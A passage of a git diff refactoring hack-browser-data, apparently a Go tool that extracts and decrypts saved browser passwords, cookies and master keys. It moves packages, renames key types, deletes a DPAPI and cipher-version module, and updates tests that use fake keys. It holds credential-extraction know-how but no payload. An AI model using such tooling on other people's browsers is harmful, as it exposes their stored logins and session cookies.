*testing.T) { } func TestDecryptYandexIntermediateKey_MissingMarker(t *testing.T) { - _, err := DecryptYandexIntermediateKey(bytes.Repeat([]byte{0x11}, 32), []byte("no marker here")) + _, err := decryptYandexIntermediateKey(bytes.Repeat([]byte{0x11}, 32), []byte("no marker here")) if !errors.Is(err, errYandexMarkerNotFound) { t.Fatalf("expected errYandexMarkerNotFound, got %v", err) } @@ -68,7 +68,7 @@ func TestDecryptYandexIntermediateKey_MissingMarker(t *testing.T) { func TestDecryptYandexIntermediateKey_Truncated(t *testing.T) { blob := append([]byte{0x00, 0x00}, localEncryptorPrefix...) blob = append(blob, bytes.Repeat([]byte{0x55}, yandexIntKeyBlobLen-1)...) - _, err := DecryptYandexIntermediateKey(bytes.Repeat([]byte{0x11}, 32), blob) + _, err := decryptYandexIntermediateKey(bytes.Repeat([]byte{0x11}, 32), blob) if !errors.Is(err, errYandexBlobShort) { t.Fatalf("expected errYandexBlobShort, got %v", err) } @@ -84,7 +84,7 @@ func TestDecryptYandexIntermediateKey_BadSignature(t *testing.T) { blob = append(blob, nonce...) blob = append(blob, ciphertext...) - _, err := DecryptYandexIntermediateKey(masterKey, blob) + _, err := decryptYandexIntermediateKey(masterKey, blob) if !errors.Is(err, errYandexBadSignature) { t.Fatalf("expected errYandexBadSignature, got %v", err) } @@ -103,7 +103,7 @@ func TestDecryptYandexIntermediateKey_TrailingDataIgnored(t *testing.T) { blob = append(blob, nonce...) blob = append(blob, ciphertext...) - got, err := DecryptYandexIntermediateKey(masterKey, blob) + got, err := decryptYandexIntermediateKey(masterKey, blob) if err != nil { t.Fatalf("DecryptYandexIntermediateKey: %v", err) } @@ -113,38 +113,3 @@ func TestDecryptYandexIntermediateKey_TrailingDataIgnored(t *testing.T) { t.Errorf("key mismatch: got %x want %x", got, want) } } - -func TestAESGCMDecryptBlob_RoundTrip(t *testing.T) { - key := bytes.Repeat([]byte{0x55}, 32) - nonce := bytes.Repeat([]byte{0x66}, gcmNonceSize) - aad := []byte("row-aad") - plaintext := []byte("row-plaintext") - blob := append([]byte{}, nonce...) - blob = append(blob, encryptAESGCM(t, key, nonce, plaintext, aad)...) - - got, err := AESGCMDecryptBlob(key, blob, aad) - if err != nil { - t.Fatalf("AESGCMDecryptBlob: %v", err) - } - if !bytes.Equal(got, plaintext) { - t.Errorf("plaintext mismatch: got %q want %q", got, plaintext) - } -} - -func TestAESGCMDecryptBlob_BadAAD(t *testing.T) { - key := bytes.Repeat([]byte{0x55}, 32) - nonce := bytes.Repeat([]byte{0x66}, gcmNonceSize) - blob := append([]byte{}, nonce...) - blob = append(blob, encryptAESGCM(t, key, nonce, []byte("x"), []byte("aad-A"))...) - - if _, err := AESGCMDecryptBlob(key, blob, []byte("aad-B")); err == nil { - t.Fatal("expected authentication failure with mismatched AAD") - } -} - -func TestAESGCMDecryptBlob_TooShort(t *testing.T) { - _, err := AESGCMDecryptBlob(bytes.Repeat([]byte{0x55}, 32), []byte{0x01, 0x02}, nil) - if !errors.Is(err, errShortCiphertext) { - t.Fatalf("expected errShortCiphertext, got %v", err) - } -} diff --git a/browser/firefox/extract_password.go b/browser/firefox/extract_password.go index adedecc..42e8b80 100644 --- a/browser/firefox/extract_password.go +++ b/browser/firefox/extract_password.go @@ -7,7 +7,7 @@ import ( "github.com/tidwall/gjson" - "github.com/moond4rk/hackbrowserdata/crypto" + "github.com/moond4rk/hackbrowserdata/internal/crypto" "github.com/moond4rk/hackbrowserdata/internal/log" "github.com/moond4rk/hackbrowserdata/internal/record" "github.com/moond4rk/hackbrowserdata/internal/timeconv" diff --git a/browser/firefox/masterkey.go b/browser/firefox/masterkey.go index 30aabb4..7726fdb 100644 --- a/browser/firefox/masterkey.go +++ b/browser/firefox/masterkey.go @@ -11,7 +11,7 @@ import ( "github.com/tidwall/gjson" _ "modernc.org/sqlite" - "github.com/moond4rk/hackbrowserdata/crypto" + "github.com/moond4rk/hackbrowserdata/internal/crypto" "github.com/moond4rk/hackbrowserdata/internal/log" ) diff --git a/browser/keydump.go b/browser/keydump.go index 0d90298..ee042a0 100644 --- a/browser/keydump.go +++ b/browser/keydump.go @@ -7,7 +7,7 @@ import ( "strings" "github.com/moond4rk/hackbrowserdata/internal/log" - "github.com/moond4rk/hackbrowserdata/masterkey" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) @@ -24,12 +24,12 @@ func BuildDump(browsers []Browser) masterkey.Dump { mk, err := km.ExportKeys() if err != nil { status := "partial" - if !mk.HasAny() { + if len(mk) == 0 { status = "failed" } log.Warnf("dump-keys: %s %s: %v", b.BrowserName(), status, err) } - if !mk.HasAny() { + if len(mk) == 0 { continue } kind, err := kindToDump(km.Kind()) @@ -124,7 +124,7 @@ func BuildFromDump(dump masterkey.Dump, dataDir, filter string) ([]Browser, erro continue } if km, ok := b.(KeyManager); ok { - km.SetRetrievers(retrieversFromKeys(v.Keys)) + km.SetKeys(v.Keys) } browsers = append(browsers, b) } @@ -155,25 +155,6 @@ func dirExists(path string) bool { return err == nil && info.IsDir() } -// maybeStaticRetriever wraps non-empty key bytes as a StaticRetriever; an empty/nil key returns nil -// to preserve the "tier not applicable" signal NewMasterKeys expects. -func maybeStaticRetriever(key []byte) masterkey.Retriever { - if len(key) == 0 { - return nil - } - return masterkey.NewStaticRetriever(key) -} - -// retrieversFromKeys maps a vault's per-tier key bytes to static retrievers; an absent tier stays nil -// so NewMasterKeys keeps treating it as "not applicable". -func retrieversFromKeys(mk masterkey.MasterKeys) masterkey.Retrievers { - return masterkey.Retrievers{ - V10: maybeStaticRetriever(mk.V10), - V11: maybeStaticRetriever(mk.V11), - V20: maybeStaticRetriever(mk.V20), - } -} - // dumpableKinds are the engine kinds a vault may carry; kindToDump/kindFromDump translate to and from // the wire form via BrowserKind.String(), keeping the vocabulary single-sourced in the types enum. var dumpableKinds = []types.BrowserKind{types.Chromium, types.ChromiumYandex, types.ChromiumOpera} diff --git a/browser/keydump_test.go b/browser/keydump_test.go index b75768c..6ef3830 100644 --- a/browser/keydump_test.go +++ b/browser/keydump_test.go @@ -10,7 +10,7 @@ import ( "testing" "github.com/moond4rk/hackbrowserdata/internal/category" - "github.com/moond4rk/hackbrowserdata/masterkey" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) @@ -48,19 +48,19 @@ func (m *mockBrowser) CountEntries(_ []category.Category) ([]types.CountResult, type mockChromiumBrowser struct { mockBrowser - key string - kind types.BrowserKind - keys masterkey.MasterKeys - exportErr error - calls int - receivedRetrievers masterkey.Retrievers + key string + kind types.BrowserKind + keys masterkey.Set + exportErr error + calls int + receivedKeys masterkey.Set } -func (m *mockChromiumBrowser) SetRetrievers(r masterkey.Retrievers) { - m.receivedRetrievers = r -} +func (m *mockChromiumBrowser) SetLocator(masterkey.Locator) {} -func (m *mockChromiumBrowser) ExportKeys() (masterkey.MasterKeys, error) { +func (m *mockChromiumBrowser) SetKeys(keys masterkey.Set) { m.receivedKeys = keys } + +func (m *mockChromiumBrowser) ExportKeys() (masterkey.Set, error) { m.calls++ return m.keys, m.exportErr } @@ -90,7 +90,7 @@ func TestBuildDump_Empty(t *testing.T) { func TestBuildDump_SingleChromium(t *testing.T) { b := &mockChromiumBrowser{ mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}}, - keys: masterkey.MasterKeys{V10: []byte("v10-key")}, + keys: masterkey.Set{masterkey.V10: []byte("v10-key")}, } dump := BuildDump([]Browser{b}) @@ -108,8 +108,8 @@ func TestBuildDump_SingleChromium(t *testing.T) { if len(inst.Profiles) != 1 || inst.Profiles[0] != testProfileDefault { t.Errorf("Profiles = %v", inst.Profiles) } - if string(inst.Keys.V10) != "v10-key" { - t.Errorf("Keys.V10 = %q", inst.Keys.V10) + if string(inst.Keys[masterkey.V10]) != "v10-key" { + t.Errorf("Keys[masterkey.V10] = %q", inst.Keys[masterkey.V10]) } } @@ -119,7 +119,7 @@ func TestBuildDump_SingleChromium(t *testing.T) { func TestBuildDump_MultipleProfilesOneVault(t *testing.T) { b := &mockChromiumBrowser{ mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault, testProfile1}}, - keys: masterkey.MasterKeys{V10: []byte("v10")}, + keys: masterkey.Set{masterkey.V10: []byte("v10")}, } dump := BuildDump([]Browser{b}) @@ -138,7 +138,7 @@ func TestBuildDump_MultipleProfilesOneVault(t *testing.T) { func TestBuildDump_SkipsNonKeyManager(t *testing.T) { chrome := &mockChromiumBrowser{ mockBrowser: mockBrowser{name: chromeName, userDataDir: "/chrome", profiles: []string{testProfileDefault}}, - keys: masterkey.MasterKeys{V10: []byte("v10")}, + keys: masterkey.Set{masterkey.V10: []byte("v10")}, } firefox := &mockBrowser{name: firefoxName, userDataDir: "/ff", profiles: []string{"default-release"}} @@ -155,7 +155,7 @@ func TestBuildDump_SkipsNonKeyManager(t *testing.T) { func TestBuildDump_SkipsExportError(t *testing.T) { good := &mockChromiumBrowser{ mockBrowser: mockBrowser{name: chromeName, userDataDir: "/chrome", profiles: []string{testProfileDefault}}, - keys: masterkey.MasterKeys{V10: []byte("v10")}, + keys: masterkey.Set{masterkey.V10: []byte("v10")}, } failing := &mockChromiumBrowser{ mockBrowser: mockBrowser{name: testEdgeName, userDataDir: "/edge", profiles: []string{testProfileDefault}}, @@ -175,7 +175,7 @@ func TestBuildDump_SkipsExportError(t *testing.T) { func TestBuildDump_JSONRoundTrip(t *testing.T) { b := &mockChromiumBrowser{ mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}}, - keys: masterkey.MasterKeys{V10: []byte{0x01, 0x02, 0x03}, V20: []byte{0xff, 0xee}}, + keys: masterkey.Set{masterkey.V10: []byte{0x01, 0x02, 0x03}, masterkey.V20: []byte{0xff, 0xee}}, } dump := BuildDump([]Browser{b}) @@ -199,21 +199,21 @@ func TestBuildDump_JSONRoundTrip(t *testing.T) { if parsed.Vaults[0].Kind != "chromium" { t.Errorf("Kind round-trip: got %q, want chromium", parsed.Vaults[0].Kind) } - if !bytes.Equal(parsed.Vaults[0].Keys.V10, dump.Vaults[0].Keys.V10) { + if !bytes.Equal(parsed.Vaults[0].Keys[masterkey.V10], dump.Vaults[0].Keys[masterkey.V10]) { t.Errorf("V10 round-trip mismatch") } - if !bytes.Equal(parsed.Vaults[0].Keys.V20, dump.Vaults[0].Keys.V20) { + if !bytes.Equal(parsed.Vaults[0].Keys[masterkey.V20], dump.Vaults[0].Keys[masterkey.V20]) { t.Errorf("V20 round-trip mismatch") } - if parsed.Vaults[0].Keys.V11 != nil { - t.Errorf("V11 should be omitted (nil), got %v", parsed.Vaults[0].Keys.V11) + if parsed.Vaults[0].Keys[masterkey.V11] != nil { + t.Errorf("V11 should be omitted (nil), got %v", parsed.Vaults[0].Keys[masterkey.V11]) } } func TestBuildDump_PartialKeys(t *testing.T) { b := &mockChromiumBrowser{ mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}}, - keys: masterkey.MasterKeys{V10: []byte("v10")}, + keys: masterkey.Set{masterkey.V10: []byte("v10")}, exportErr: errors.New("v20: ABE failed"), } @@ -222,11 +222,11 @@ func TestBuildDump_PartialKeys(t *testing.T) { if len(dump.Vaults) != 1 { t.Fatalf("Vaults len = %d, want 1 (partial result must be preserved)", len(dump.Vaults)) } - if string(dump.Vaults[0].Keys.V10) != "v10" { - t.Errorf("V10 should be preserved despite V20 error, got %q", dump.Vaults[0].Keys.V10) + if string(dump.Vaults[0].Keys[masterkey.V10]) != "v10" { + t.Errorf("V10 should be preserved despite V20 error, got %q", dump.Vaults[0].Keys[masterkey.V10]) } - if dump.Vaults[0].Keys.V20 != nil { - t.Errorf("V20 should remain nil, got %v", dump.Vaults[0].Keys.V20) + if dump.Vaults[0].Keys[masterkey.V20] != nil { + t.Errorf("V20 should remain nil, got %v", dump.Vaults[0].Keys[masterkey.V20]) } } @@ -249,23 +249,6 @@ func TestKindDumpRoundTrip(t *testing.T) { } } -func TestRetrieversFromKeys(t *testing.T) { - r := retrieversFromKeys(masterkey.MasterKeys{V10: []byte("k10"), V20: []byte("k20")}) - - if r.V10 == nil || r.V20 == nil { - t.Fatal("V10 and V20 retrievers should be set from non-empty keys") - } - if r.V11 != nil { - t.Error("V11 retriever should be nil when the key is absent") - } - if got, _ := r.V10.RetrieveKey(masterkey.Hints{}); string(got) != "k10" { - t.Errorf("V10 key = %q, want k10", got) - } - if got, _ := r.V20.RetrieveKey(masterkey.Hints{}); string(got) != "k20" { - t.Errorf("V20 key = %q, want k20", got) - } -} - // makeUserData writes a minimal Chromium profile tree: a Preferences marker plus History (a real // extraction source, so the profile resolves) under each named profile dir. func makeUserData(t *testing.T, root string, profiles ...string) { @@ -288,8 +271,8 @@ func TestBuildFromDump_ConventionMultiBrowser(t *testing.T) { makeUserData(t, filepath.Join(dataDir, "chrome"), testProfileDefault) makeUserData(t, filepath.Join(dataDir, "edge"), testProfileDefault) dump := masterkey.Dump{Vaults: []masterkey.Vault{ - {Browser: "chrome", Kind: "chromium", Keys: masterkey.MasterKeys{V10: []byte("c")}}, - {Browser: "edge", Kind: "chromium", Keys: masterkey.MasterKeys{V10: []byte("e")}}, + {Browser: "chrome", Kind: "chromium", Keys: masterkey.Set{masterkey.V10: []byte("c")}}, + {Browser: "edge", Kind: "chromium", Keys: masterkey.Set{masterkey.V10: []byte("e")}}, }} browsers, err := BuildFromDump(dump, dataDir, "") @@ -307,7 +290,7 @@ func TestBuildFromDump_ForeignKindNoPlatformTable(t *testing.T) { dataDir := t.TempDir() makeUserData(t, filepath.Join(dataDir, "sogou"), testProfileDefault) dump := masterkey.Dump{Vaults: []masterkey.Vault{ - {Browser: "sogou", Kind: "chromium", Keys: masterkey.MasterKeys{V10: []byte("k")}}, + {Browser: "sogou", Kind: "chromium", Keys: masterkey.Set{masterkey.V10: []byte("k")}}, }} browsers, err := BuildFromDump(dump, dataDir, "") @@ -326,7 +309,7 @@ func TestBuildFromDump_RawSingleBrowser(t *testing.T) { dataDir := t.TempDir() makeUserData(t, dataDir, testProfileDefault) dump := masterkey.Dump{Vaults: []masterkey.Vault{ - {Browser: "chrome", Kind: "chromium", Keys: masterkey.MasterKeys{V10: []byte("c")}}, + {Browser: "chrome", Kind: "chromium", Keys: masterkey.Set{masterkey.V10: []byte("c")}}, }} browsers, err := BuildFromDump(dump, dataDir, "chrome") @@ -344,7 +327,7 @@ func TestBuildFromDump_RawSingleBrowser(t *testing.T) { func TestBuildFromDump_UnknownBrowserErrors(t *testing.T) { dataDir := t.TempDir() dump := masterkey.Dump{Vaults: []masterkey.Vault{ - {Browser: "chrome", Kind: "chromium", Keys: masterkey.MasterKeys{V10: []byte("c")}}, + {Browser: "chrome", Kind: "chromium", Keys: masterkey.Set{masterkey.V10: []byte("c")}}, }} if _, err := BuildFromDump(dump, dataDir, "sogou"); err == nil { t.Fatal("expected error for -b matching no vault") @@ -355,8 +338,8 @@ func TestBuildFromDump_RawAmbiguousErrors(t *testing.T) { dataDir := t.TempDir() makeUserData(t, dataDir, testProfileDefault) dump := masterkey.Dump{Vaults: []masterkey.Vault{ - {Browser: "chrome", Kind: "chromium", Keys: masterkey.MasterKeys{V10: []byte("c")}}, - {Browser: "edge", Kind: "chromium", Keys: masterkey.MasterKeys{V10: []byte("e")}}, + {Browser: "chrome", Kind: "chromium", Keys: masterkey.Set{masterkey.V10: []byte("c")}}, + {Browser: "edge", Kind: "chromium", Keys: masterkey.Set{masterkey.V10: []byte("e")}}, }} if _, err := BuildFromDump(dump, dataDir, ""); err == nil { t.Fatal("expected ambiguity error for raw multi-vault restore without -b") @@ -365,7 +348,7 @@ func TestBuildFromDump_RawAmbiguousErrors(t *testing.T) { func TestBuildFromDump_MissingDataDirErrors(t *testing.T) { dump := masterkey.Dump{Vaults: []masterkey.Vault{ - {Browser: "chrome", Kind: "chromium", Keys: masterkey.MasterKeys{V10: []byte("c")}}, + {Browser: "chrome", Kind: "chromium", Keys: masterkey.Set{masterkey.V10: []byte("c")}}, }} if _, err := BuildFromDump(dump, "/no/such/dir", ""); err == nil { t.Fatal("expected error when data dir does not exist") @@ -384,7 +367,7 @@ func TestBuildFromDump_MarkerlessTreeStillResolves(t *testing.T) { t.Fatal(err) } dump := masterkey.Dump{Vaults: []masterkey.Vault{ - {Browser: "chrome", Kind: "chromium", Keys: masterkey.MasterKeys{V10: []byte("c")}}, + {Browser: "chrome", Kind: "chromium", Keys: masterkey.Set{masterkey.V10: []byte("c")}}, }} browsers, err := BuildFromDump(dump, dataDir, "") diff --git a/cmd/hack-browser-data/chromium_fixture_test.go b/cmd/hack-browser-data/chromium_fixture_test.go index fcb65eb..1447668 100644 --- a/cmd/hack-browser-data/chromium_fixture_test.go +++ b/cmd/hack-browser-data/chromium_fixture_test.go @@ -20,15 +20,15 @@ import ( "github.com/moond4rk/hackbrowserdata/browser" "github.com/moond4rk/hackbrowserdata/browser/chromium" - "github.com/moond4rk/hackbrowserdata/crypto" - "github.com/moond4rk/hackbrowserdata/masterkey" + "github.com/moond4rk/hackbrowserdata/internal/crypto" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) // Only GCM-sealed values (v10 under a 32-byte key, v20) decrypt identically on every OS. -var chromiumFixtureKeys = masterkey.MasterKeys{ - V10: []byte("0123456789abcdef0123456789abcdef"), - V20: []byte("0123456789abcdef"), +var chromiumFixtureKeys = masterkey.Set{ + masterkey.V10: []byte("0123456789abcdef0123456789abcdef"), + masterkey.V20: []byte("0123456789abcdef"), } var chromiumFixtureInstalls = []struct { @@ -68,27 +68,12 @@ func chromiumFixtureBrowsers(t *testing.T, root string) []browser.Browser { }) require.NoError(t, err) require.NotNil(t, b) - b.SetRetrievers(chromiumFixtureRetrievers(chromiumFixtureKeys)) + b.SetKeys(chromiumFixtureKeys) browsers = append(browsers, b) } return browsers } -func chromiumFixtureRetrievers(keys masterkey.MasterKeys) masterkey.Retrievers { - return masterkey.Retrievers{ - V10: chromiumFixtureStaticRetriever(keys.V10), - V11: chromiumFixtureStaticRetriever(keys.V11), - V20: chromiumFixtureStaticRetriever(keys.V20), - } -} - -func chromiumFixtureStaticRetriever(key []byte) masterkey.Retriever { - if len(key) == 0 { - return nil - } - return masterkey.NewStaticRetriever(key) -} - func chromiumFixtureUserData(t *testing.T, userDataDir, browserKey string) { t.Helper() chromiumFixtureWrite(t, filepath.Join(userDataDir, "Local State"), "{}") @@ -103,10 +88,10 @@ func chromiumFixtureProfile(t *testing.T, dir, site string, start time.Time, acc at := func(offset time.Duration) int64 { return chromiumFixtureMicros(start.Add(offset)) } link := func(host, path string) string { return "https://" + host + "." + site + path } v10 := func(plaintext string) string { - return chromiumFixtureSeal(t, "v10", chromiumFixtureKeys.V10, plaintext) + return chromiumFixtureSeal(t, "v10", chromiumFixtureKeys[masterkey.V10], plaintext) } v20 := func(plaintext string) string { - return chromiumFixtureSeal(t, "v20", chromiumFixtureKeys.V20, plaintext) + return chromiumFixtureSeal(t, "v20", chromiumFixtureKeys[masterkey.V20], plaintext) } // Chrome 130+ seals SHA256(host_key) ahead of the cookie value, which extraction must strip again. hostBound := func(host, value string) string { diff --git a/cmd/hack-browser-data/keys_golden_test.go b/cmd/hack-browser-data/keys_golden_test.go index 9d08b37..b5cc7b9 100644 --- a/cmd/hack-browser-data/keys_golden_test.go +++ b/cmd/hack-browser-data/keys_golden_test.go @@ -16,7 +16,7 @@ import ( "github.com/moond4rk/hackbrowserdata/browser" "github.com/moond4rk/hackbrowserdata/internal/category" - "github.com/moond4rk/hackbrowserdata/masterkey" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) @@ -55,13 +55,15 @@ type keysFakeChromium struct { keysFakeBrowser key string kind types.BrowserKind - keys masterkey.MasterKeys + keys masterkey.Set exportErr error } -func (c *keysFakeChromium) SetRetrievers(_ masterkey.Retrievers) {} +func (c *keysFakeChromium) SetLocator(masterkey.Locator) {} -func (c *keysFakeChromium) ExportKeys() (masterkey.MasterKeys, error) { return c.keys, c.exportErr } +func (c *keysFakeChromium) SetKeys(masterkey.Set) {} + +func (c *keysFakeChromium) ExportKeys() (masterkey.Set, error) { return c.keys, c.exportErr } func (c *keysFakeChromium) BrowserKey() string { return c.key } @@ -86,9 +88,9 @@ func keysFakeBrowsers(t *testing.T) []browser.Browser { }, key: "chrome", kind: types.Chromium, - keys: masterkey.MasterKeys{ - V10: keysFakeKey(t, "chrome+v10/os+crypt+key/AAAAAAAAAAAAAAAAAAA="), - V20: keysFakeKey(t, "chrome+v20/app+bound+key/AAAAAAAAAAAAAAAAAA="), + keys: masterkey.Set{ + masterkey.V10: keysFakeKey(t, "chrome+v10/os+crypt+key/AAAAAAAAAAAAAAAAAAA="), + masterkey.V20: keysFakeKey(t, "chrome+v20/app+bound+key/AAAAAAAAAAAAAAAAAA="), }, }, &keysFakeBrowser{ @@ -104,9 +106,9 @@ func keysFakeBrowsers(t *testing.T) []browser.Browser { }, key: "edge", kind: types.Chromium, - keys: masterkey.MasterKeys{ - V10: keysFakeKey(t, "edge+v10/os+crypt+key/AAAAAAAAAAAAAAAAAAAAA="), - V20: keysFakeKey(t, "edge+v20/app+bound+key/AAAAAAAAAAAAAAAAAAAA="), + keys: masterkey.Set{ + masterkey.V10: keysFakeKey(t, "edge+v10/os+crypt+key/AAAAAAAAAAAAAAAAAAAAA="), + masterkey.V20: keysFakeKey(t, "edge+v20/app+bound+key/AAAAAAAAAAAAAAAAAAAA="), }, }, &keysFakeChromium{ @@ -117,9 +119,9 @@ func keysFakeBrowsers(t *testing.T) []browser.Browser { }, key: "opera", kind: types.ChromiumOpera, - keys: masterkey.MasterKeys{ - V10: keysFakeKey(t, "opera+v10/peanuts+AAAA=="), - V11: keysFakeKey(t, "opera+v11/keyring+AAAA=="), + keys: masterkey.Set{ + masterkey.V10: keysFakeKey(t, "opera+v10/peanuts+AAAA=="), + masterkey.V11: keysFakeKey(t, "opera+v11/keyring+AAAA=="), }, }, &keysFakeChromium{ @@ -140,7 +142,7 @@ func keysFakeBrowsers(t *testing.T) []browser.Browser { }, key: "yandex", kind: types.ChromiumYandex, - keys: masterkey.MasterKeys{V10: keysFakeKey(t, "yandex+v10/keychain+AA==")}, + keys: masterkey.Set{masterkey.V10: keysFakeKey(t, "yandex+v10/keychain+AA==")}, }, &keysFakeChromium{ keysFakeBrowser: keysFakeBrowser{ @@ -150,7 +152,7 @@ func keysFakeBrowsers(t *testing.T) []browser.Browser { }, key: "brave", kind: types.Chromium, - keys: masterkey.MasterKeys{V10: keysFakeKey(t, "brave+v10/os+crypt+key/AAAAAAAAAAAAAAAAAAAA=")}, + keys: masterkey.Set{masterkey.V10: keysFakeKey(t, "brave+v10/os+crypt+key/AAAAAAAAAAAAAAAAAAAA=")}, exportErr: errors.New("v20: elevation service unavailable"), }, } diff --git a/cmd/hack-browser-data/main_windows.go b/cmd/hack-browser-data/main_windows.go index 2eeeee0..7c1dccf 100644 --- a/cmd/hack-browser-data/main_windows.go +++ b/cmd/hack-browser-data/main_windows.go @@ -6,7 +6,7 @@ import ( "github.com/inconshreveable/mousetrap" "github.com/spf13/cobra" - "github.com/moond4rk/hackbrowserdata/utils/winapi" + "github.com/moond4rk/hackbrowserdata/internal/winapi" ) // configureDoubleClickMode hides the console and bypasses cobra's diff --git a/cmd/hack-browser-data/restore.go b/cmd/hack-browser-data/restore.go index ea17426..402b496 100644 --- a/cmd/hack-browser-data/restore.go +++ b/cmd/hack-browser-data/restore.go @@ -9,7 +9,7 @@ import ( "github.com/moond4rk/hackbrowserdata/browser" "github.com/moond4rk/hackbrowserdata/internal/log" - "github.com/moond4rk/hackbrowserdata/masterkey" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" "github.com/moond4rk/hackbrowserdata/utils/fileutil" ) diff --git a/cmd/hack-browser-data/restore_golden_test.go b/cmd/hack-browser-data/restore_golden_test.go index 8aebb60..916ab71 100644 --- a/cmd/hack-browser-data/restore_golden_test.go +++ b/cmd/hack-browser-data/restore_golden_test.go @@ -14,7 +14,7 @@ import ( "github.com/moond4rk/hackbrowserdata/browser" "github.com/moond4rk/hackbrowserdata/internal/category" - "github.com/moond4rk/hackbrowserdata/masterkey" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" "github.com/moond4rk/hackbrowserdata/utils/fileutil" ) diff --git a/crypto/crypto_darwin.go b/crypto/crypto_darwin.go deleted file mode 100644 index 142ec34..0000000 --- a/crypto/crypto_darwin.go +++ /dev/null @@ -1,7 +0,0 @@ -//go:build darwin - -package crypto - -func DecryptDPAPI(_ []byte) ([]byte, error) { - return nil, errDPAPINotSupported -} diff --git a/crypto/crypto_linux.go b/crypto/crypto_linux.go deleted file mode 100644 index 4dd23c1..0000000 --- a/crypto/crypto_linux.go +++ /dev/null @@ -1,7 +0,0 @@ -//go:build linux - -package crypto - -func DecryptDPAPI(_ []byte) ([]byte, error) { - return nil, errDPAPINotSupported -} diff --git a/crypto/crypto_windows.go b/crypto/crypto_windows.go deleted file mode 100644 index 7b2170b..0000000 --- a/crypto/crypto_windows.go +++ /dev/null @@ -1,15 +0,0 @@ -//go:build windows - -package crypto - -import ( - "github.com/moond4rk/hackbrowserdata/utils/winapi" -) - -// DecryptDPAPI decrypts a DPAPI-protected blob using the current user's -// master key. The actual Win32 call (and its DATA_BLOB / LocalFree dance) -// lives in utils/winapi so every package that needs a syscall handle -// shares a single declaration instead of re-opening Crypt32.dll per call. -func DecryptDPAPI(ciphertext []byte) ([]byte, error) { - return winapi.DecryptDPAPI(ciphertext) -} diff --git a/crypto/errors.go b/crypto/errors.go deleted file mode 100644 index 955accb..0000000 --- a/crypto/errors.go +++ /dev/null @@ -1,15 +0,0 @@ -package crypto - -import "errors" - -// Sentinel errors for crypto operations. -var ( - errShortCiphertext = errors.New("ciphertext too short") - errInvalidBlockSize = errors.New("ciphertext is not a multiple of the block size") - errInvalidIVLength = errors.New("IV length must equal block size") - errInvalidPadding = errors.New("invalid PKCS5 padding") - errInvalidNonceLen = errors.New("nonce length must equal GCM nonce size") - errUnsupportedIVLen = errors.New("unsupported IV length") - errDecodeASN1 = errors.New("failed to decode ASN1 data") - errDPAPINotSupported = errors.New("DPAPI not supported on this platform") //nolint:unused // used on darwin/linux only -) diff --git a/crypto/version.go b/crypto/version.go deleted file mode 100644 index 5fb28f2..0000000 --- a/crypto/version.go +++ /dev/null @@ -1,55 +0,0 @@ -package crypto - -// CipherVersion represents the encryption version used by Chromium browsers. -type CipherVersion string - -const ( - // CipherV10 is Chrome 80+ encryption (AES-GCM on Windows, AES-CBC on macOS/Linux). - CipherV10 CipherVersion = "v10" - - // CipherV11 is the Linux-only AES-CBC variant where the key comes from - // libsecret / kwallet. Same algorithm as CipherV10; only the key source differs. - CipherV11 CipherVersion = "v11" - - // CipherV20 is Chrome 127+ App-Bound Encryption. - CipherV20 CipherVersion = "v20" - - // CipherV12 is Chromium's SecretPortalKeyProvider (Flatpak / xdg-desktop-portal) tier — - // HKDF-SHA256 + AES-256-GCM with a secret retrieved via org.freedesktop.portal.Desktop. - // Recognized by DetectVersion so decryptValue can emit a known-gap error rather than a - // generic "unsupported cipher version" message; not yet implemented. - CipherV12 CipherVersion = "v12" - - // CipherDPAPI is pre-Chrome 80 raw DPAPI encryption (no version prefix). - CipherDPAPI CipherVersion = "dpapi" - - versionPrefixLen = 3 -) - -// DetectVersion identifies the encryption version from a ciphertext prefix. -func DetectVersion(ciphertext []byte) CipherVersion { - if len(ciphertext) < versionPrefixLen { - return CipherDPAPI - } - prefix := string(ciphertext[:versionPrefixLen]) - switch prefix { - case "v10": - return CipherV10 - case "v11": - return CipherV11 - case "v12": - return CipherV12 - case "v20": - return CipherV20 - default: - return CipherDPAPI - } -} - -func stripPrefix(ciphertext []byte) []byte { - ver := DetectVersion(ciphertext) - if ver == CipherV10 || ver == CipherV11 || ver == CipherV12 || ver == CipherV20 { - return ciphertext[versionPrefixLen:] - } - return ciphertext -} diff --git a/crypto/version_test.go b/crypto/version_test.go deleted file mode 100644 index 77b08d4..0000000 --- a/crypto/version_test.go +++ /dev/null @@ -1,51 +0,0 @@ -package crypto - -import ( - "testing" - - "github.com/stretchr/testify/assert" -) - -func TestDetectVersion(t *testing.T) { - tests := []struct { - name string - ciphertext []byte - want CipherVersion - }{ - {"v10 prefix", []byte("v10" + "encrypted_data"), CipherV10}, - {"v11 prefix", []byte("v11" + "encrypted_data"), CipherV11}, - {"v12 prefix", []byte("v12" + "encrypted_data"), CipherV12}, - {"v20 prefix", []byte("v20" + "encrypted_data"), CipherV20}, - {"no prefix (DPAPI)", []byte{0x01, 0x00, 0x00, 0x00}, CipherDPAPI}, - {"short input", []byte{0x01, 0x02}, CipherDPAPI}, - {"empty input", []byte{}, CipherDPAPI}, - {"nil input", nil, CipherDPAPI}, - {"unknown prefix", []byte("xyz_data"), CipherDPAPI}, - } - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - assert.Equal(t, tt.want, DetectVersion(tt.ciphertext)) - }) - } -} - -func Test_stripPrefix(t *testing.T) { - tests := []struct { - name string - ciphertext []byte - want []byte - }{ - {"strips v10", []byte("v10PAYLOAD"), []byte("PAYLOAD")}, - {"strips v11", []byte("v11PAYLOAD"), []byte("PAYLOAD")}, - {"strips v12", []byte("v12PAYLOAD"), []byte("PAYLOAD")}, - {"strips v20", []byte("v20PAYLOAD"), []byte("PAYLOAD")}, - {"keeps DPAPI unchanged", []byte{0x01, 0x00, 0x00}, []byte{0x01, 